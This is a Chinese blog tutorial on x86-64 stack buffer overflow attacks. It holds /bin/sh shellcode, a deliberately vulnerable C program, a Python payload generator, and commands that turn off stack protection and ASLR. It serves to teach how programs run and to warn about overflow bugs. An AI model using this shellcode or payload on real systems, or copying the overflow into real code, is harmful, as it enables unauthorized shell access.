PS:要转载请注明出处,本人版权所有。

PS: 这个只是基于《我自己》的理解,

如果和你的原则及想法相冲突,请谅解,勿喷。

前置说明

  本文作为本人csdn blog的主站的备份。(BlogID=074)

  本文发布于 2018-12-06 16:46:09,现用MarkDown+图床做备份更新。blog原图已丢失,使用csdn所存的图进行更新。(BlogID=074)

环境说明

  无

前言


  本文仅用于学习计算机程序运行原理,请不要用作其他违法用途。

  内存溢出可以说是我们程序员经常遇到的问题了,但是一般过程中,我们只会处理让程序崩溃的内存溢出,只要程序不崩溃,我们基本不会管的了。这里,我将会演示一下程序内存溢出的严重后果。同时也警示我们自身,写程序一定要逻辑严密一点,不要犯低级错误。(然而我们不可能避免错误,只要没有比较明显的错误即可。)

前置知识(64bit)


汇编中的几个重要指令:

  汇编中的几个重要指令:

  • call xxx 等价于:push eip 和 jump xxx
  • leave 等价于: pop rbp 和 mov rbp,rsp
  • ret 等价于 pop eip
栈帧的知识:

  参考我之前的文章:https://blog.csdn.net/u011728480/article/details/79092194

  简单说就是,跳转到一个子过程,会又一片新的内存区域,有三个重要的寄存器rbp,rsp,eip 可以表示和这个区域的属性。看下图:(在调用一个子过程的时候,注意rsp,rbp,eip的变化,新的rsp和rbp的生成,新老rsp和rbp的关系)

  注意:每个子调用的完整过程为:这里面包含了所有的rbp,rsp,eip的变化

call sub_call       ; eip入栈,rsp-8
push rbp ; rbp 入栈 rsp-8
mov rsp,rbp ; rsp 赋值给rbp,作为一个新的栈帧开始,rbp为栈底
... ... ;这里就是子调用的变量内存分配,rsp-0xN
... ... ;其他过程
... ... ;其他过程
leave ;rbp赋值给rsp, rbp出栈,rsp+8
ret ;eip出栈,rsp+8

  这样的一个过程,就完成了现场调整执行子调用然后恢复现场的过程。

内存溢出的攻击的简要原理(以上图为例)


  x86栈帧是从高地址到低地址的排列的。如果我在sub_func中分配了0xN字节的buf,那么上图的rbp'和rsp'的关系变为rbp'=rsp'+0xN,如果没有做安全的内存使用,我直接写入了0xN+8+8的数据,理论上来说,我就覆盖了上图栈中eip的值,eip存放的是sub_func返回时,要执行Main_Func下一条指令的地址,也就是说,我控制了,sub_func返回时要执行的地址内容,那么通过精心构造的内容,如果写入到buf,就可能执行我们想要的代码。

  那么是不是内存溢出很简单呢?操作系统难道那么不安全吗?

现代内存堆栈保护技术出现


  1. 编译器堆栈检测
  2. 堆栈不可执行
  3. 地址空间随机化等等

  这些东西都可以提高内存溢出的难度,我是一个小白,为了理解内存攻击,我得把他们关闭了。

内存溢出攻击实例


1 准备一份shellcode,就是上面替换eip后,你想要执行的一份代码。我这里选择,生成一个shell。

  对应的16进制:

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

  c版本

//       int execve(const char *filename, char *const argv[],char *const envp[]);
const char * a = "/bin/sh";
char * b[1];
b[0] = a;
execve(a, b, NULL);

  汇编版本(64位,注意)

    xor eax, eax ; 清空eax
mov rbx, 0xFF978CD091969DD1 ; 0x6873276e69622f的补码
neg rbx;对rbx求补码,rbx=0x6873276e69622f,代表hs/nib/
push rbx;把/bin/sh的地址放入栈,rsp-8
push rsp;rsp放入堆栈,rsp-8
pop rdi;把/bin/sh的地址给rdi,rdi作为作为参数参数的第一个参数,在64系统中,rsp+8
cdq;把edx的每一位设置为eax的最高位,就是edx清零,然后把edx作为eax的高位。
push rdx;内存地址高8字节rsp-8
push rdi;内存地址低8字节,指向/bin/sh,rsp-8
push rsp;保存rsp,rsp-8
pop rsi;rsi=新构造的一个变量地址。指向/bin/sh,rsp+8
mov al, 0x3b;设置系统调用号0x3b execv
syscall;系统调用

  64位系统,execve的系统调用号为59,也就是0x3b

2 实际实例攻击

  异常代码

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h> void overflow(char * msg){ char buf[10];
memcpy(buf, msg, 100);
printf("buf out: %s", buf);
} int main(int argc, char * argv[]){ char main_buf[100];
int f = open(argv[1], O_RDONLY);
read(f, main_buf, 100);
overflow(main_buf);
return 0;
}

  exp 辅助生产工具,生成exp文件,python exp.py>msg

  exp.py 文件内容

#!/usr/bin/python

import struct
from subprocess import call addr=0x7fffffffDE5B s_c="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" buf="M"*10
buf+="M"*8
buf+=struct.pack("<I",0xffffde30) #main rbp
buf+=struct.pack("<I",0x7fff) #main rbp
buf+=s_c
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '\\x') for c in s])
print buf
#call(["./a.out",buf])

  编译方法,去掉堆栈保护,设置堆栈可执行

gcc test.cpp -l stdc++ -z execstack -fno-stack-protector

  关闭地址随机化(必须root用户情况下):

echo 0 > /proc/sys/kernel/randomize_va_space

  效果:

  至此我们成功拿到了shell,可以做一些简单的shell操作等等。

以上实例分析


  根据上文overflow源码分析得出,我们溢出了90个字节,由于程序员的不小心。这100个字节是来至于文件的,我们可以构建一个特殊的文件来达到我们的目的。

  根据exp助手,我们可以生成一个创建shell的exp文件。

根据exp助手源码可知:
1-10字节为M ------ 这对应我们申请的buf内容
11-18字节为M ------ 这对应在子过程调用中,push rbp时,保存的原有的rbp
19-26字节为eip在栈中的位置 ------ 这就是我们要修改当overflow返回时,我要计算机执行的我的代码的地方,也就是shellcode中的xor eax,eax
27-54字节即为创建shell的shellcode

  如果我们在overflow中申请的buf地址为N,那么:

N~N+0xa 为buf的内存空间
N+0xb~N+0x12 为原rbp保存的位置
N+0x13~N+0x1a 为我们需要控制的eip的值,需要让他指定到我们想要的地址去,明显我们想要的地址就是N+0x1b,也就是我们创建shell的汇编存放的地方
N+0x1b~N+0x36 为我们存放创建shell汇编代码的存放的地方。

  从上述分析可知:

    我们需要改的就是N+0x13~N+0x1a内存中存放的值,改为N+0x1b.

  在操作系统中:当我们关闭的地址虚拟化后,我们的程序在开机的过程中,每次运行的时候,基地址的一致的,这样我们每次运行的时候,我们的buf地址是一致,当我们获取了buf地址后,即可生成exp文件。

  我们通过core文件和gdb来找到buf的地址如下图:

  先运行./a.out msg

  这个时候msg的地址可以乱填,反正会段错误。得到core文件

  在运行 gdb --core=core

  这个时候查看几个寄存器的值,唯一的有效值是rsp的值如下图:

  通过分析,发现是执行完leave 指令,并且执行完ret指令,eip中的值为我随意设定的一个乱的值。

  这里我们就知道,rsp的值即为我们的想要的shellcode,rsp的地址即为我们想要的地址,把这个地址放到exp助手里面去,然后重新生成exp文件,然后就得到了我们想要的结果。

总结

  1. 这告诉我们程序员,在写代码时,特别是有重大用处的程序时,要注意内存溢出问题,不可能有那么明显的溢出,但是有很多隐藏溢出地方,这个需要大家注意。
  2. 计算机还是一如既往的笨。
  3. 这是最经典的内存溢出攻击方式,现代的溢出攻击万变不离其宗。

本文主要是为了学习计算机中程序执行的原理,请不要用于非法用途。

后记


  无

参考文献


打赏、订阅、收藏、丢香蕉、硬币,请关注公众号(攻城狮的搬砖之路)

PS: 请尊重原创,不喜勿喷。

PS: 要转载请注明出处,本人版权所有。

PS: 有问题请留言,看到后我会第一时间回复。

x86架构的内存溢出攻击原理演示(加强对计算机运行原理的理解,说明内存溢出的危害)的更多相关文章

  1. Spark核心技术原理透视一(Spark运行原理)

    在大数据领域,只有深挖数据科学领域,走在学术前沿,才能在底层算法和模型方面走在前面,从而占据领先地位. Spark的这种学术基因,使得它从一开始就在大数据领域建立了一定优势.无论是性能,还是方案的统一 ...

  2. swift的类型系统及类型(内存)信息获取:接口、编译运行时、反射、内存布局

    swift是静态语言,没有在运行时保存类型的结构信息(isa.class). 一.self.Self.Type.typeof extension Collection where Self.Eleme ...

  3. 【SpringCloud原理】Ribbon核心组件以及运行原理万字源码剖析

    大家好,本文我将继续来剖析SpringCloud中负载均衡组件Ribbon的源码.本来我是打算接着OpenFeign动态代理生成文章直接讲Feign是如何整合Ribbon的,但是文章写了一半发现,如果 ...

  4. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...

  5. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

    前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...

  6. Android开发学习笔记(二)——编译和运行原理(1)

    http://www.cnblogs.com/Pickuper/archive/2011/06/14/2078969.html 接着上一篇的内容,继续从全局了解Android.在清楚了Android的 ...

  7. 走进JVM【二】理解JVM内存区域

    引言 对于C++程序员,内存分配与回收的处理一直是令人头疼的问题.Java由于自身的自动内存管理机制,使得管理内存变得非常轻松,不容易出现内存泄漏,溢出的问题. 不容易不代表不会出现问题,一旦内存泄漏 ...

  8. Java基础—Java运行原理

    Java程序运行原理 在Java中引入了虚拟机(JVM,Java Virtual Machine)的概念,即在机器和编译程序之间加入了一层抽象的虚拟的机器.虚拟机在任何平台上都提供给编译程序一个的共同 ...

  9. 【并发编程】一文带你读懂深入理解Java内存模型(面试必备)

    并发编程这一块内容,是高级资深工程师必备知识点,25K起如果不懂并发编程,那基本到顶.但是并发编程内容庞杂,如何系统学习?本专题将会系统讲解并发编程的所有知识点,包括但不限于: 线程通信机制,深入JM ...

  10. 深入理解java内存模型系列文章

    转载关于java内存模型的系列文章,写的非常好. 深入理解java内存模型(一)--基础 深入理解java内存模型(二)--重排序 深入理解java内存模型(三)--顺序一致性 深入理解java内存模 ...

随机推荐

  1. CF452F Permutation 与 P2757 [国家集训队] 等差子序列 题解

    两道基本一样的题: 题目链接: P2757 [国家集训队] 等差子序列 Permutation 链接:CF 或者 洛谷 等差子序列那题其实就是长度不小于 \(3\) 的等差数列是否存在,我们考虑等于 ...

  2. 如何减少Exadata计算节点CPU的Core数量

    最近为某客户做一个Exadata的PoC测试,要求是X8 1/8 rack配置,目前机器是1/4 rack的硬件. OEDA配置时只选择了1/8 rack选项,其他都没有配置.但是在一键刷机时会发现跳 ...

  3. CSS浮动&定位&布局

    浮动简介 浮动最早起设计出来是为了实现文字环绕图片或者文字环绕的效果,现在浮动是主流的页面布局方式之一 float:浮动属性,值可以是left.right对应向左和向右浮动 元素浮动之后的特点 脱离文 ...

  4. CentOS 7.3 源码安装squid 4.12 及安装过程遇到的一些问题

    一.源码安装squid 4.12 1.下载squid-4.12源码包 wget http://www.squid-cache.org/Versions/v4/squid-4.12.tar.gz tar ...

  5. Python之记录日志

    日志级别 DEBUG: 最低级别,用于调试小细节. INFO:记录程序中的一般事件或确认一切工作正常. WARNING:表示可能出现的问题,但不会终止程序工作. ERROR:用于记录错误,会导致程序失 ...

  6. Redhat6更改yum源

    最近虚拟机中安装了redhat6.3企业版,自带的yum用不起来,软件都找不到. 网上搜了一下说是没付钱...,需要改下yum源.操作步骤如下: 1.切换到yum源存放目录 [root@rhel6 ~ ...

  7. 解决 Order By 将字符串类型的数字 或 字符串中含数字 按数字排序问题

    oracle数据库,字段是varchar2类型即string,而其实存的是数字,这时候不加处理的order by的排序结果,肯定有问题解决办法:              (1)cast( 要排序的字 ...

  8. 【开发工具】Linux 服务器 Shell 脚本简单应用(MySql备份等脚本)

    上一章介绍完基础[开发工具]Linux 服务器 Shell 脚本简单入门,这一章结合实际运用 对于 do while if else等流程控制基础不再说明,和编程语言大同小异,可以在实际的脚本使用中学 ...

  9. 【Azure 存储服务】如何查看Storage Account的删除记录,有没有接口可以下载近1天删除的Blob文件信息呢?

    问题描述 如何查看Storage Account的删除记录,有没有接口可以下载近1天删除的Blob文件信息呢?因为有时候出现误操作删除了某些Blob文件,想通过查看删除日志来定位被删除的文件信息. 问 ...

  10. 【Azure 服务总线】查看Service Bus中消息多次发送的日志信息,消息是否被重复消费

    问题描述 使用Service Bus,发现消息被重复消费.如果要查看某一条消息的具体消费情况,需要那些消息的属性呢? 问题解答 使用Azure Service Bus,当消费发送到服务端后,就会生产相 ...